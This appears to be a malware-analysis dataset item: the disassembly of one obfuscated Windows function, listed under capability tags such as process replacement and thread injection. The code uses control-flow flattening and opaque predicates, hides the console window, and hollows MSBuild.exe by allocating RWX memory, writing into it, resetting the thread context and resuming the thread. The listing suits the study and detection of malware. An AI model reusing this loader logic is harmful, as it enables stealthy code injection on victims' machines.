Function at 0x100142f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x10090080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
mov edx, ecx
sub edx, 0x17d9b87c
sub edx, 1
add edx, 0x17d9b87c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x126], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x12c], 0x84f86490
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x130], eax
sub eax, 0x80109496
je 0x100190f2
jmp 0x1001436b
mov eax, dword [ebp - 0x130]
sub eax, 0x807a816f
je 0x10016c12
jmp 0x10014381
mov eax, dword [ebp - 0x130]
sub eax, 0x80806328
je 0x10017454
jmp 0x10014397
mov eax, dword [ebp - 0x130]
sub eax, 0x80806970
je 0x10016e65
jmp 0x100143ad
mov eax, dword [ebp - 0x130]
sub eax, 0x80e3522e
je 0x100196ec
jmp 0x100143c3
mov eax, dword [ebp - 0x130]
sub eax, 0x8103247b
je 0x10018e5d
jmp 0x100143d9
mov eax, dword [ebp - 0x130]
sub eax, 0x8202ce8a
je 0x10015db9
jmp 0x100143ef
mov eax, dword [ebp - 0x130]
sub eax, 0x82bc4a9f
je 0x10017b42
jmp 0x10014405
mov eax, dword [ebp - 0x130]
sub eax, 0x834d656f
je 0x1001639d
jmp 0x1001441b
mov eax, dword [ebp - 0x130]
sub eax, 0x83c3f35e
je 0x10019393
jmp 0x10014431
mov eax, dword [ebp - 0x130]
sub eax, 0x84303d97
je 0x10015fee
jmp 0x10014447
mov eax, dword [ebp - 0x130]
sub eax, 0x843ca59e
je 0x100196ad
jmp 0x1001445d
mov eax, dword [ebp - 0x130]
sub eax, 0x84f86490
je 0x10015ce0
jmp 0x10014473
mov eax, dword [ebp - 0x130]
sub eax, 0x85d21b4c
je 0x10017a46
jmp 0x10014489
mov eax, dword [ebp - 0x130]
sub eax, 0x88539b46
je 0x10016059
jmp 0x1001449f
mov eax, dword [ebp - 0x130]
sub eax, 0x89f6c731
je 0x10017994
jmp 0x100144b5
mov eax, dword [ebp - 0x130]
sub eax, 0x8ab44205
je 0x10016385
jmp 0x100144cb
mov eax, dword [ebp - 0x130]
sub eax, 0x8da8ad3e
je 0x10016e4d
jmp 0x100144e1
mov eax, dword [ebp - 0x130]
sub eax, 0x8ea10311
je 0x10017cca
jmp 0x100144f7
mov eax, dword [ebp - 0x130]
sub eax, 0x8f976221
je 0x10019701
jmp 0x1001450d
mov eax, dword [ebp - 0x130]
sub eax, 0x90567f54
je 0x100175f6
jmp 0x10014523
mov eax, dword [ebp - 0x130]
sub eax, 0x910596cd
je 0x10017a6f
jmp 0x10014539
mov eax, dword [ebp - 0x130]
sub eax, 0x91af1504
je 0x10017f24
jmp 0x1001454f
mov eax, dword [ebp - 0x130]
sub eax, 0x927dc956
je 0x10017f97
jmp 0x10014565
mov eax, dword [ebp - 0x130]
sub eax, 0x92c98863
je 0x10017580
jmp 0x1001457b
mov eax, dword [ebp - 0x130]
sub eax, 0x939f32c5
je 0x1001681d
jmp 0x10014591
mov eax, dword [ebp - 0x130]
sub eax, 0x95c944c6
je 0x10016b93
jmp 0x100145a7
mov eax, dword [ebp - 0x130]
sub eax, 0x978ad079
je 0x10017330
jmp 0x100145bd
mov eax, dword [ebp - 0x130]
sub eax, 0x983fcc61
je 0x10017e4b
jmp 0x100145d3
mov eax, dword [ebp - 0x130]
sub eax, 0x987e96f6
je 0x10016f08
jmp 0x100145e9
mov eax, dword [ebp - 0x130]
sub eax, 0x989182f4
je 0x10019917
jmp 0x100145ff
mov eax, dword [ebp - 0x130]
sub eax, 0x98d6a966
je 0x10018b9c
jmp 0x10014615
mov eax, dword [ebp - 0x130]
sub eax, 0x9b0c47f1
je 0x10016d8d
jmp 0x1001462b
mov eax, dword [ebp - 0x130]
sub eax, 0x9b249289
je 0x10016d01
jmp 0x10014641
mov eax, dword [ebp - 0x130]
sub eax, 0x9b7ba74d
je 0x1001966e
jmp 0x10014657
mov eax, dword [ebp - 0x130]
sub eax, 0x9c9328fc
je 0x10016276
jmp 0x1001466d
mov eax, dword [ebp - 0x130]
sub eax, 0x9cdd2975
je 0x10019605
jmp 0x10014683
mov eax, dword [ebp - 0x130]
sub eax, 0x9d0a84c1
je 0x1001699d
jmp 0x10014699
mov eax, dword [ebp - 0x130]
sub eax, 0x9d91b6f3
je 0x10019aa6
jmp 0x100146af
mov eax, dword [ebp - 0x130]
sub eax, 0x9ec90692
je 0x100197bd
jmp 0x100146c5
mov eax, dword [ebp - 0x130]
sub eax, 0x9efd7868
je 0x1001944e
jmp 0x100146db
mov eax, dword [ebp - 0x130]
sub eax, 0x9f361a35
je 0x100179fc
jmp 0x100146f1
mov eax, dword [ebp - 0x130]
sub eax, 0x9fd3c962
je 0x1001906d
jmp 0x10014707
mov eax, dword [ebp - 0x130]
sub eax, 0x9feee979
je 0x10016250
jmp 0x1001471d
mov eax, dword [ebp - 0x130]
sub eax, 0xa1eeb628
je 0x10016558
jmp 0x10014733
mov eax, dword [ebp - 0x130]
sub eax, 0xa25d151f
je 0x10017c10
jmp 0x10014749
mov eax, dword [ebp - 0x130]
sub eax, 0xa2bcaa15
je 0x10019787
jmp 0x1001475f
mov eax, dword [ebp - 0x130]
sub eax, 0xa2e6e5fd
je 0x10016549
jmp 0x10014775
mov eax, dword [ebp - 0x130]
sub eax, 0xa3106944
je 0x10018048
jmp 0x1001478b
mov eax, dword [ebp - 0x130]
sub eax, 0xa328342a
je 0x10016ad7
jmp 0x100147a1
mov eax, dword [ebp - 0x130]
sub eax, 0xa4f7acf0
je 0x10016a3f
jmp 0x100147b7
mov eax, dword [ebp - 0x130]
sub eax, 0xa5e9ae2a
je 0x100195a8
jmp 0x100147cd
mov eax, dword [ebp - 0x130]
sub eax, 0xa675c5ad
je 0x100165c3
jmp 0x100147e3
mov eax, dword [ebp - 0x130]
sub eax, 0xa69b3de7
je 0x10016b4d
jmp 0x100147f9
mov eax, dword [ebp - 0x130]
sub eax, 0xa741f010
je 0x100198fc
jmp 0x1001480f
mov eax, dword [ebp - 0x130]
sub eax, 0xa76ca661
je 0x1001600b
jmp 0x10014825
mov eax, dword [ebp - 0x130]
sub eax, 0xa882a925
je 0x100188b0
jmp 0x1001483b
mov eax, dword [ebp - 0x130]
sub eax, 0xaa60ce86
je 0x10016464
jmp 0x10014851
mov eax, dword [ebp - 0x130]
sub eax, 0xaad9bea2
je 0x10018908
jmp 0x10014867
mov eax, dword [ebp - 0x130]
sub eax, 0xab1bce7f
je 0x10018432
jmp 0x1001487d
mov eax, dword [ebp - 0x130]
sub eax, 0xac27fcfc
je 0x10017257
jmp 0x10014893
mov eax, dword [ebp - 0x130]
sub eax, 0xac5e3418
je 0x10016c8a
jmp 0x100148a9
mov eax, dword [ebp - 0x130]
sub eax, 0xacee9310
je 0x10016217
jmp 0x100148bf
mov eax, dword [ebp - 0x130]
sub eax, 0xadc97bdf
je 0x10018765
jmp 0x100148d5
mov eax, dword [ebp - 0x130]
sub eax, 0xae72caba
je 0x10018bd0
mov al, byte [ebp - 0x126]
mov cl, byte [ebp - 0x125]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1cb15ade
mov ecx, 0x2b8798a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x12c], 0x654d6ad5
jmp 0x10019b14
mov dl, 1
mov eax, 0x37a974e6
mov ecx, 0xa76ca661
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0x124]
mov byte [eax], 1
mov dword [ebp - 0x12c], 0x3d5790bf
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x1e5a5209
jmp 0x10019b14
mov eax, dword [ebp - 0x120]
mov dword [eax], 0
mov dword [ebp - 0x12c], 0xdc6ff158
jmp 0x10019b14
mov eax, dword [ebp - 0x11c]
mov byte [eax], 0
mov eax, dword [ebp - 0x11c]
mov al, byte [eax]
mov byte [ebp - 0x9e], al
mov dword [ebp - 0x12c], 0x9c9328fc
jmp 0x10019b14
mov dl, byte [ebp - 0x9e]
mov eax, 0x1f63244c
mov ecx, 0x8ab44205
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0x11c]
mov byte [eax], 1
mov dword [ebp - 0x12c], 0x834d656f
jmp 0x10019b14
mov eax, dword [0x10091684]
mov ecx, dword [0x10091680]
mov edx, eax
add edx, 0xb84ff582
sub edx, 1
sub edx, 0xb84ff582
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1df3dba7
mov ecx, 0x368de463
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dl, 1
mov eax, 0xd96a1646
mov ecx, 0x2bbe97e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dword [ebp - 0x12c], 0xa1eeb628
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x666a3d28
jmp 0x10019b14
mov dl, byte [ebp - 0x9d]
mov eax, 0xe9a4f121
mov ecx, 0xe7d2670
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [0x10091684]
mov ecx, dword [0x10091680]
mov edx, eax
add edx, 0x3a3b97ef
sub edx, 1
sub edx, 0x3a3b97ef
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b7ba74d
mov ecx, 0x2134d483
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [0x10091684]
mov ecx, dword [0x10091680]
mov edx, eax
add edx, 0xb52e6732
sub edx, 1
sub edx, 0xb52e6732
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5477eb23
mov ecx, 0xc76be0d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x7d2fc101
jmp 0x10019b14
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
mov edx, ecx
sub edx, 0x4a31d81f
sub edx, 1
add edx, 0x4a31d81f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa439d2
mov ecx, 0xa69b3de7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x7d2fc101
jmp 0x10019b14
mov dl, byte [ebp - 0x92]
mov eax, 0xbdb3b51e
mov ecx, 0xcf456b2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0x110]
mov byte [eax], 1
mov dword [ebp - 0x12c], 0x74d80d47
jmp 0x10019b14
mov eax, dword [ebp - 0x110]
mov byte [eax], 0
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x843ca59e
mov ecx, 0x9b249289
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dword [ebp - 0x12c], 0xec6ab875
jmp 0x10019b14
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
mov edx, ecx
add edx, 0x17e3c782
sub edx, 1
sub edx, 0x17e3c782
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc4ef39e
mov ecx, 0x5d894c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0x10c]
mov byte [eax], 1
mov dword [ebp - 0x12c], 0x80806970
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x987e96f6
jmp 0x10019b14
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
mov edx, ecx
add edx, 0xf2323454
sub edx, 1
sub edx, 0xf2323454
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x68faf0bc
mov ecx, 0xdd7e3ed0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6f2f97af
mov ecx, 0x7d30e3e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dword [ebp - 0x12c], 0xbfc9cb7c
jmp 0x10019b14
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x755aa098
mov ecx, 0x48b0dab7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
mov edx, ecx
sub edx, 0xdddf0c06
sub edx, 1
add edx, 0xdddf0c06
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x357ad359
mov ecx, 0x90567f54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x88]
mov dword [eax], ecx
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
mov edx, ecx
sub edx, 0xb88859bb
sub edx, 1
add edx, 0xb88859bb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x357ad359
mov ecx, 0xd2a16948
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0x100]
cmp dword [eax], 0xefb8f0f
setle al
and al, 1
mov byte [ebp - 0x81], al
mov eax, dword [0x10091684]
mov ecx, dword [0x10091680]
mov edx, eax
sub edx, 0xd5e3751f
sub edx, 1
add edx, 0xd5e3751f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc0bb31c5
mov ecx, 0x9f361a35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x221f6d7
jmp 0x10019b14
mov ecx, dword [ebp - 0x80]
sub ecx, 0xee41836e
add ecx, 1
add ecx, 0xee41836e
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0x12e77989
jmp 0x10019b14
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
mov edx, ecx
add edx, 0xef95cc08
sub edx, 1
sub edx, 0xef95cc08
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x390dfef8
mov ecx, 0xeb93703d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x36603df6
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x12e77989
jmp 0x10019b14
mov eax, dword [ebp - 0x7c]
cmp eax, 0xefb8ec6
setg al
and al, 1
mov byte [ebp - 0x76], al
mov eax, dword [0x10091684]
mov ecx, dword [0x10091680]
mov edx, eax
add edx, 0xb9079b3
sub edx, 1
sub edx, 0xb9079b3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d5aa30
mov ecx, 0xc39d9dde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x74]
mov dword [eax], ecx
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe5a2acdb
mov ecx, 0x5468523e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0xfc]
mov dword [eax], 0
mov eax, dword [0x10091684]
mov ecx, dword [0x10091680]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc214c628
mov ecx, 0x2d50b553
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [0x10091684]
mov ecx, dword [0x10091680]
mov edx, eax
sub edx, 0x9f327636
sub edx, 1
add edx, 0x9f327636
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2e55bc61
mov ecx, 0x1952bdf1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0xf8]
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.1000d850
add esp, 4
lea eax, [0x1003cf1a]
sub esp, 4
mov dword [esp], eax
call fcn.1000d850
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call fcn.1000d7a0
add esp, 8
mov eax, dword [ebp - 0xf4]
lea ecx, section..data
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0xcdc637af
jmp 0x10019b14
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1002eab0
add esp, 0xc
mov eax, dword [ebp - 0xe0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1002eab0
add esp, 0xc
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xdc]
mov byte [eax], cl
mov eax, dword [ebp - 0xd8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov dl, byte [eax]
mov eax, 0x651f30c2
mov ecx, 0x5459403e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov dword [ebp - 0x12c], 0xc762021a
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x22548e7a
jmp 0x10019b14
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xcc]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
cmp dword [eax], 0
setge al
and al, 1
mov byte [ebp - 0x4d], al
mov ecx, dword [0x10091684]
mov eax, dword [0x10091680]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbbc094e5
mov ecx, 0xb98e382c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x4c]
add ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov dword [ebp - 0x12c], 0xae72caba
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x1127909e
jmp 0x10019b14
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, 0xd8aaec95
mov ecx, 0x71ecc7a0
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0xd9fc7cf1
jmp 0x10019b14
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [0x10091684]
mov ecx, dword [0x10091680]
mov edx, eax
sub edx, 0x37ff6b82
sub edx, 1
add edx, 0x37ff6b82
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d91b6f3
mov ecx, 0xb6e4108e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x10019b14
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x12c], 0x2746f4e2
jmp 0x10019b14
mov dword [ebp - 0x12c], 0x61f27687
jmp 0x10019b14
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x12c], 0x759751fa
jmp 0x10019b14
mov eax, dword [ebp - 0x114]
mov dword [eax], 0xefb8ee8
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x12c], 0x2134d483
jmp 0x10019b14
mov eax, dword [ebp - 0x110]
mov byte [eax], 0
mov dword [ebp - 0x12c], 0xac5e3418
jmp 0x10019b14
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x12c], 0x1f86ef55
jmp 0x10019b14
mov eax, dword [ebp - 0x108]
mov byte [eax], 1
mov dword [ebp - 0x12c], 0x14f8aea
jmp 0x10019b14
mov eax, dword [ebp - 0x104]
mov dword [eax], 1
mov dword [ebp - 0x12c], 0x7057bd47
jmp 0x10019b14
mov dword [ebp - 0x12c], 0xc491813b
jmp 0x10019b14
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x12c], 0xd1c0a4c7
